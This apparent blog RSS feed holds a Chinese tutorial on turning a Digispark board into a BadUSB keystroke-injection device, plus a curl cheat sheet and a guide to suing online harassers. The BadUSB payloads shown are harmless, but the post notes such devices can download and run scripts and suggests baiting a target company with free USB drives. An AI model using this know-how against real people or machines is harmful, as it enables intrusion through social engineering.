另外,可能还需要在系统配置里调整下 fn 功能键的作用,不然可能会在某些需要 fn 快捷键的情况下却调整了亮度声音。
勾选 **Use F1,F2,etc. keys as standard function keys on external keyboards...** 选项。
<img src="\Pictures\keyboardsetting.png" alt="keyboardsetting" style="zoom:25%;" />
<p>到这里我们就可以愉快的码字敲代码了,关于电量究竟能用多久等我用光一次再说。🤣</p>
<p>最后配一张完工图。</p>
<img src="\Pictures\hhkb-ble5.jpg" alt="hhkb-ble5" style="zoom:25%;" />
<center>完工图</center>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>Digispark BadUSB</title><link>https://hare.one/posts/digispark-badusb/</link><pubDate>Sun, 26 Jul 2020 22:30:29 +0800</pubDate><guid>https://hare.one/posts/digispark-badusb/</guid><description><p>最近闲着无聊,本着生命在于折腾的本质,用 Digispark 做个 BadUSB 玩玩。</p>
<p>Digispark 长这样:</p>
<img src="https://s3.amazonaws.com/digistump-resources/images/l/2520dcf84a0a3bf2257c2559d7a187db.jpg" alt="Digispark" style="zoom:50%;" />
<p>简单介绍下 Digispark 这个小玩意儿:</p>
<p>Digispark USB Development Board 是一块基于 ATTiny85 微控制器的开发板,便宜小巧携带方便,某宝上十块包邮,相比于 BadUSB 的老前辈 USB Rubber Ducky 简直是便宜到家了好吗,性价比真的超高。<span class="spoiler" ><del>绝不承认不买 Rubber Ducky 是没钱,哼!</del></span></p>
<p>关于 BadUSB,网上很多人都觉得只是含有有害程序的 U 盘,并以为可以通过格式化、禁止 U 盘自启动来阻止 BadUSB 的攻击。但其实它更像是没有按键的键盘,靠着烧录进去的程序来模拟人类输入,计算机是无法识别出 BadUSB 和人类正常输入的区别的。所以大家记得一定不要随便在自己或公司的电脑上插来历不明的 U 盘!</p>
<h3 id="配置-digispark-开发环境">配置 Digispark 开发环境</h3>
<p>要使用 Digispark 制作 BadUSB,首先要安装开发环境,在这里选择 Arduino。我的开发环境是 macOS,所以后续介绍以 macOS 为准。</p>
<p>可以在 <a href="https://www.arduino.cc/">Arduino</a> 官网上选择适配自己开发环境的安装版本。</p>
<p>安装好 Arduino 后,在 <strong>Preferences</strong> -&gt; <strong>Additional Boards Manager URLs</strong> 处输入:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">http://digistump.com/package_digistump_index.json
</span></span></span></code></pre></div><p>接下来在 <strong>Tools</strong> -&gt; <strong>Board</strong> -&gt; <strong>Boards Manager</strong>,安装 <strong>Digistump AVR Boards</strong> 包。
等待安装好,选择 <strong>Tools</strong> -&gt; <strong>Board</strong> -&gt; <strong>Digistump AVR Boards</strong> -&gt; <strong>Digispark(Default - 16.5 Mhz)</strong>,此时 Arduino IDE 就可以成功识别 Digispark 开发板了。<span class="spoiler" ><del>居然没有出现驱动方面的问题,撒花</del></span></p>
<h3 id="编写一份-helloworld-吧">编写一份 helloworld 吧!</h3>
<p>既然是第一次玩 Digispark 开发板,怎么能不写一份 hello world 呢:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;DigiKeyboard.h&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setup</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// put your setup code here, to run once:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DigiKeyboard.sendKeyStroke(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">2000</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); <span style="color:#75715e">//GUI 键在 macOS 下是 ⌘ 键,在 Windows 下是徽标键
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DigiKeyboard.delay(<span style="color:#ae81ff">300</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.println(<span style="color:#e6db74">&#34;notepad&#34;</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">300</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_ENTER);
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">300</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.println(<span style="color:#e6db74">&#34;hello, world!&#34;</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">300</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">loop</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// put your main code here, to run repeatedly
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>点击 Verify 验证一下代码以防出错,然后就……报错了……</p>
<p>此处 Error 信息:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>fork/exec ~/Library/Arduino15/packages/arduino/tools/avr-gcc/4.8.1-arduino5/bin/avr-g++: bad CPU type in executable
</span></span><span style="display:flex;"><span>Error compiling for board Digispark (Default - 16.5mhz).
</span></span></code></pre></div><p>STFW 找到了原因:从 macOS Catalina 开始,不再支持 32 位程序,所以需要替换掉 Digispark 自带的 32 位 AVR 编译工具。</p>
<p>在 terminal 里运行:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd ~/Library/Arduino15/packages/arduino/tools/avr-gcc
</span></span><span style="display:flex;"><span>mv 4.8.1-arduino5 orig.4.8.1
</span></span><span style="display:flex;"><span>ln -s /Applications/Arduino.app/Contents/Java/hardware/tools/avr 4.8.1-arduino5
</span></span></code></pre></div><p>再次验证,提示已经成功编译。</p>
<h3 id="烧录代码">烧录代码</h3>
<p>现在就可以上传代码到硬件上了,点击 <strong>Upload</strong>,在 60 秒内插入 Digispark 开发板完成上传。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Running Digispark Uploader...
</span></span><span style="display:flex;"><span>Plug in device now... <span style="color:#f92672">(</span>will timeout in <span style="color:#ae81ff">60</span> seconds<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&gt; Please plug in the device ...
</span></span><span style="display:flex;"><span>&gt; Press CTRL+C to terminate the program.
</span></span><span style="display:flex;"><span>&gt; Device is found!
</span></span><span style="display:flex;"><span>connecting: 16% complete
</span></span><span style="display:flex;"><span>connecting: 22% complete
</span></span><span style="display:flex;"><span>connecting: 28% complete
</span></span><span style="display:flex;"><span>connecting: 33% complete
</span></span><span style="display:flex;"><span>&gt; Device has firmware version 2.2
</span></span><span style="display:flex;"><span>&gt; Device signature: 0x1e930b
</span></span><span style="display:flex;"><span>&gt; Available space <span style="color:#66d9ef">for</span> user applications: <span style="color:#ae81ff">6522</span> bytes
</span></span><span style="display:flex;"><span>&gt; Suggested sleep time between sending pages: 7ms
</span></span><span style="display:flex;"><span>&gt; Whole page count: <span style="color:#ae81ff">102</span> page size: <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>&gt; Erase <span style="color:#66d9ef">function</span> sleep duration: 714ms
</span></span><span style="display:flex;"><span>parsing: 50% complete
</span></span><span style="display:flex;"><span>&gt; Erasing the memory ...
</span></span><span style="display:flex;"><span>erasing: 55% complete
</span></span><span style="display:flex;"><span>erasing: 60% complete
</span></span><span style="display:flex;"><span>erasing: 65% complete
</span></span><span style="display:flex;"><span>&gt; Starting to upload ...
</span></span><span style="display:flex;"><span>writing: 70% complete
</span></span><span style="display:flex;"><span>writing: 75% complete
</span></span><span style="display:flex;"><span>writing: 80% complete
</span></span><span style="display:flex;"><span>&gt; Starting the user app ...
</span></span><span style="display:flex;"><span>running: 100% complete
</span></span><span style="display:flex;"><span>&gt;&gt; Micronucleus <span style="color:#66d9ef">done</span>. Thank you!
</span></span></code></pre></div><p>将板子插入<span class="spoiler" ><del>受害者</del></span>朋友的 Windows 设备上,就可以看到运行 notepad 并输出 hello world 了。</p>
<h3 id="更进一步">更进一步</h3>
<p>现在可以尝试自己写一个 payload 了。</p>
<p>其实利用 BadUSB 的攻击过程,就是将 Digispark 开发板伪装成为一个 HID(Human Interface Device)。</p>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">HID(Human Interface Device)人机接口设备类别是 Windows 最早支持的USB类别。由其名称可以了解 HID 设备是计算机直接
与人交互的设备,例如键盘、鼠标和游戏杆等。不过 HID 设备不一定要有人机接口,只要符合 HID 类别规范,就都是 HID 设备。
</code></pre><p>可以通过添加、修改注册表项,下载执行脚本,执行命令,结束进程等达到一系列我们想要实现的结果。
现在网上给 BadUSB 准备的脚本多为给 Rubber Ducky 准备的,还好我们可以进行转换,其实原理都是一样的,只不过实现代码不同。
Rubber Ducky 的代码长这样:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bat" data-lang="bat"><span style="display:flex;"><span>DELAY 600
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM Linux run dialog</span>
</span></span><span style="display:flex;"><span>ALT F2
</span></span><span style="display:flex;"><span>DELAY 200
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM Mac OS run dialog</span>
</span></span><span style="display:flex;"><span>GUI SPACE
</span></span><span style="display:flex;"><span>DELAY 200
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM On Windows this changes the input language, so press 3 times</span>
</span></span><span style="display:flex;"><span>GUI SPACE
</span></span><span style="display:flex;"><span>DELAY 200
</span></span><span style="display:flex;"><span>GUI SPACE
</span></span><span style="display:flex;"><span>DELAY 200
</span></span><span style="display:flex;"><span>GUI r
</span></span><span style="display:flex;"><span>DELAY 200
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM On another OS, this could have typed &#34; r&#34;. Backspace 4 times.</span>
</span></span><span style="display:flex;"><span>DELETE
</span></span><span style="display:flex;"><span>REPEAT 4
</span></span><span style="display:flex;"><span><span style="color:#75715e">REM Type in URL and open page!</span>
</span></span><span style="display:flex;"><span>STRING http://example.com/
</span></span><span style="display:flex;"><span>ENTER
</span></span></code></pre></div><p>以上脚本是模拟键盘在各种操作系统上的打开指定网页的操作。</p>
<p>可以使用 <a href="https://nixu-corp.github.io/">dckunio.js</a> 来在线转换,也可以使用 <a href="https://github.com/mame82/duck2spark">duck2spark</a> 脚本来进行转换。</p>
<p>上面的脚本转换好了长这样:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Generated with &lt;3 by Dckuino.js, an open source project !
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;avr/pgmspace.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;DigiKeyboard.h&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> line1[] PROGMEM <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://example.com/&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> buffer[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_UP_ARROW 0x52
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_DOWN_ARROW 0x51
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_LEFT_ARROW 0x50
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_RIGHT_ARROW 0x4F
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_LEFT_GUI 0xE3
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_ESC 0x29
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define KEY_TAB 0x2B
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">digiBegin</span>() {
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">50</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">digiEnd</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> led<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> pinMode(led, OUTPUT);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (<span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span> digitalWrite(led, <span style="color:#f92672">!</span>digitalRead(led));
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">1000</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">printText</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>txt) {
</span></span><span style="display:flex;"><span> DigiKeyboard.print(txt);
</span></span><span style="display:flex;"><span> DigiKeyboard.update();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setup</span>() {
</span></span><span style="display:flex;"><span> digiBegin();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">600</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Linux run dialog
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Mac OS run dialog
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// On Windows this changes the input language, so press 3 times
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.delay(<span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// On another OS, this could have typed &#34; r&#34;. Backspace 4 times.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_DELETE);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Type in URL and open page!
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// http://example.com/
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> printText(GetPsz(line1));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DigiKeyboard.sendKeyStroke(KEY_ENTER);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> digiEnd();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Unused endless loop */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">loop</span>() {}
</span></span></code></pre></div><p>首次烧录完,插入受攻击的设备没能正常实现功能,可能是驱动问题(部分情况耐心等待即可)、中文输入法问题(可以通过大写锁定键进行绕过)、不同操作系统快捷功能键不同,找到出现问题的步骤进行调试即可。</p>
<p>如果不会编写 Rubber Ducky 脚本或者 Digispark 脚本,可以根据自己的攻击思路在 <a href="https://www.ducktoolkit.com/">DuckToolkit</a> 生成 Rubber Ducky 的 Payload,然后进行转换即可。</p>
<p>另外,Digispark 开发版元件都是直接暴露出来的,这样容易造成短路等物理损坏。可以用热缩管将开发板隔离一下,或者是 3D 打印个 U 盘的外壳来进行伪装。用这个来做 BadUSB 搞社工成本还是很低的,只要在目标公司附近摆个「扫码领 U 盘」的活动就可以了,毕竟人才是最脆弱的安全系统。</p>
<p>参考:</p>
<p><a href="https://www.ducktoolkit.com/">Duck Toolkit</a></p>
<p><a href="https://github.com/hak5darren/USB-Rubber-Ducky">USB-Rubber-Ducky</a></p>
<p><a href="https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads">USB-Rubber-Ducky-Payloads</a></p>
<p><a href="https://github.com/mame82/duck2spark">duck2spark</a></p>
<p><a href="https://nixu-corp.github.io/">dckunio.js</a></p>
<p><a href="https://github.com/CedArctic/DigiSpark-Scripts">DigiSpark-Scripts</a></p>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>Curl Cheat Sheet</title><link>https://hare.one/cheatsheet/curl-cheat-sheet/</link><pubDate>Fri, 17 Jul 2020 16:30:13 +0800</pubDate><guid>https://hare.one/cheatsheet/curl-cheat-sheet/</guid><description><h3 id="options">Options</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -o &lt;file&gt; <span style="color:#75715e"># --output: write to file</span>
</span></span><span style="display:flex;"><span>curl -u user:pass <span style="color:#75715e"># --user: Authentication</span>
</span></span><span style="display:flex;"><span>curl -v <span style="color:#75715e"># --verbose</span>
</span></span><span style="display:flex;"><span>curl -vv <span style="color:#75715e"># Even more verbose</span>
</span></span><span style="display:flex;"><span>curl -s <span style="color:#75715e"># --silent</span>
</span></span><span style="display:flex;"><span>curl -i <span style="color:#75715e"># --include: Include the HTTP-header in the output</span>
</span></span><span style="display:flex;"><span>curl -I <span style="color:#75715e"># --head: headers only</span>
</span></span></code></pre></div><h3 id="request">Request</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X POST <span style="color:#75715e"># --request</span>
</span></span><span style="display:flex;"><span>curl -L <span style="color:#75715e"># follow link if page redirects</span>
</span></span></code></pre></div><h3 id="data">Data</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -d <span style="color:#e6db74">&#39;data&#39;</span> <span style="color:#75715e"># --data: HTTP post data, URL encoded (eg, status=&#34;Hello&#34;)</span>
</span></span><span style="display:flex;"><span>curl -d @file <span style="color:#75715e"># --data via file</span>
</span></span><span style="display:flex;"><span>curl -G <span style="color:#75715e"># --get: send -d data via get</span>
</span></span></code></pre></div><h3 id="headers">Headers</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -A &lt;str&gt; <span style="color:#75715e"># --user-agent</span>
</span></span><span style="display:flex;"><span>curl -b name<span style="color:#f92672">=</span>val <span style="color:#75715e"># --cookie</span>
</span></span><span style="display:flex;"><span>curl -b FILE <span style="color:#75715e"># --cookie</span>
</span></span><span style="display:flex;"><span>curl -H <span style="color:#e6db74">&#34;X-Foo: y&#34;</span> <span style="color:#75715e"># --header</span>
</span></span><span style="display:flex;"><span>curl --compressed <span style="color:#75715e"># use deflate/gzip</span>
</span></span></code></pre></div><h3 id="ssl">SSL</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl --cacert &lt;file&gt; --capath &lt;dir&gt;
</span></span><span style="display:flex;"><span>curl -E, --cert &lt;cert&gt; <span style="color:#75715e"># --cert: Client cert file --cert-type # der/pem/eng</span>
</span></span><span style="display:flex;"><span>curl -k, --insecure <span style="color:#75715e"># for self-signed certs</span>
</span></span></code></pre></div><h3 id="examples">Examples</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Post data:</span>
</span></span><span style="display:flex;"><span>curl -d password<span style="color:#f92672">=</span>x http://x.com/y
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Auth/data:</span>
</span></span><span style="display:flex;"><span>curl -u user:pass -d status<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Hello&#34;</span> http://twitter.com/statuses/update.xml
</span></span><span style="display:flex;"><span><span style="color:#75715e"># multipart file upload</span>
</span></span><span style="display:flex;"><span>curl -v -include --form key1<span style="color:#f92672">=</span>value1 --form upload<span style="color:#f92672">=</span>@localfilename URL
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Use Curl to Check if a remote resource is available</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># details: https://matthewsetter.com/check-if-file-is-available-with-curl/</span>
</span></span><span style="display:flex;"><span>curl -o /dev/null --silent -Iw <span style="color:#e6db74">&#34;%{http_code}&#34;</span> https://example.com/my.remote.tarball.gz
</span></span></code></pre></div><!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>怎样诉讼躲在屏幕后面疯狂攻击你的人</title><link>https://hare.one/posts/how-to-sue-somebody-for-harassing/</link><pubDate>Tue, 14 Jul 2020 13:17:12 +0800</pubDate><guid>https://hare.one/posts/how-to-sue-somebody-for-harassing/</guid><description><h2 id="怎样告躲在屏幕后面疯狂攻击你的人其实很简单完全指南来了">怎样告躲在屏幕后面疯狂攻击你的人?其实很简单,完全指南来了</h2>
<h3 id="如果你觉得微博上有人肆无忌惮地伤害您您又不知道-ta-是谁不知怎么告-ta一步一步这样做">如果你觉得微博上有人肆无忌惮地伤害您,您又不知道 TA 是谁、不知怎么告 TA,一步一步这样做</h3>
<p>1,找你居住地的公证处,要求公证这些令你觉得受到伤害的帖子。通常大约 1000 元左右。注意,您要亲自去一下公证处。可以电话预约。保留好发票!有人最后会报销的。</p>
<p>居住地的含义是你现在居住的地方而不是户籍地,只需要有暂住证或居住证。</p>
<p>2,在你居住地的法院,提交诉讼。诉讼费约 50 元。如果觉得写诉状头疼,可以延请你信任的任何人,甚至不一定是执业律师。诉讼制度改革后,法院目前对此类诉状基本去了就受理。</p>
<p>律师费高低不等,不过不会白花钱的,把发票放好,最后也会有人报销。所以强烈建议找个律师并给予全面授权,他或者她会为您办很多事情,包括并不限于全权代理您出庭,您自己都可以不去。</p>
<p>我实践的时候,根本不想看见那些人,所以我一次都没出庭。说结果:赢了。)</p>
<p>3,重点来了。你要告的第一个人(法人)是新浪微博(微梦创科公司)。你要求他提供侵权人的信息。依据两高的司法解释(具有法律效力,附后),你的诉求会被法院支持。这时候,已经非常娴熟的微博律师会提出和解。你答应就好:给出涉嫌侵权人的信息,我就撤销对你的诉讼。这是庭前和解,具有法律强制效力。</p>
<p>4,她(我遇见的真是新浪微博的美女律师)很快会给出你希望找到的那个人的一大堆信息,包括他最近几年每一个帖子的 IP 地址,发微博的手机号,如果他带 V,还有所有认证信息,包括身份证号码。</p>
<p>5,你如约撤销对微博的诉讼,追加那个你终于得到个人信息的、你真正想告的人,开始进入正常的诉讼环节。</p>
<p>6,胜诉,申请强制执行。</p>
<h3 id="细节处理如果您请了律师他或者她也会知道这些">细节处理。如果您请了律师,他或者她也会知道这些</h3>
<p>1,拿到了微博提供的信息,比如一些 IP 地址、电话号码等等,你还是无法查出他的身份信息,导致法院无法进入正常的诉讼程序,怎么办?</p>
<p>律师可以填写附图的表,请法庭协助调查。很快,你就能知道他或者她叫什么、身份证号码、身份证上的地址(很重要)了。</p>
<p>2,不知道他当前的地址,怎么送达传票?</p>
<p>要求法院按照身份证上的地址邮递。如果因为未被签收、拒收等等原因退回,就更好了。你这时可以要求进行“公告送达”,手续费大约几十元到 200 元不等。发票也存好。公告会出现在某个法院指定的报纸上:XXX,某人已向你提起诉讼,请于什么时间之前与谁联系&hellip;</p>
<p>TA 还不理?最好了。公告刊登 60 天后视同送达,法庭将在公告后择日开庭。TA 不出现?最好了,法庭将缺席审理,并视同对方放弃质证和答辩权。这时候你只要回答审判员或合议庭的问题就好了。</p>
<p>3,对方拒不执行怎么办?</p>
<p>你的诉讼请求要包括要求对方公开赔礼道歉(很重要)、删除帖子、负担诉讼费、律师费、公证费、公告费及精神赔偿。</p>
<p>判决生效后,你可以去执行庭请求强制执行。删除帖子好办,法庭出个文,微博会照办的。赔偿也好办,你有他的名字和身份证号码,执行庭会查出他的银行卡并强制扣除,不够扣的,他就是老赖,上黑名单。</p>
<p>赔礼道歉的部分,你一定要求:在微博置顶道歉 N 天(多少天你和律师商量,一般是 7-15 天)或(很重要!)在微博首页或你所在城市的报纸刊登判决书摘要 N 天。</p>
<p>这样,如果他拒绝在他的微博道歉,你可以申请强制执行刊登判决书摘要。其成本由被告承担,通常需要几十万到上百万元。如果不给钱,当然也是强制执行,他卡上钱如果不够,可以列入老赖,直到给付为止。</p>
<p>在此期间你可以公开征求对方财产线索,如房产、汽车、股票等,如果获得,可报告执行庭实施查封、拍卖。</p>
<p>4,如果对方是体制内的人士或者党员团员,不要忘记将此诉讼和执行情况,整理成文件,发给 TA 的主管纪检监察部门。依据新党规 100 条,有他或者她好看的。</p>
<p>附带说一下,还有被我诉讼、判决生效后的人迄今没有履行。别忘记,我在一定的时效内可以随时申请强制执行。去执行庭填个申请表,10 分钟的事儿。我什么时候想起来去填报,看我高兴。</p>
<p>5,对方只是转发我可以告 TA 吗?</p>
<p>可以,而转发的阅读量越大,责任越大。详见附录的第十条。</p>
<h3 id="附录">附录</h3>
<p>最高人民法院关于审理利用信息网络侵害人身权益民事纠纷案件适用法律若干问题的规定摘要(最高人民法院审判委员会第 1621 次会议通过)。众所周知,最高法院的法律解释具有法律效力。</p>
<p>第一条 本规定所称的利用信息网络侵害人身权益民事纠纷案件,是指利用信息网络侵害他人姓名权、名称权、名誉权、荣誉权、肖像权、隐私权等人身权益引起的纠纷案件。</p>
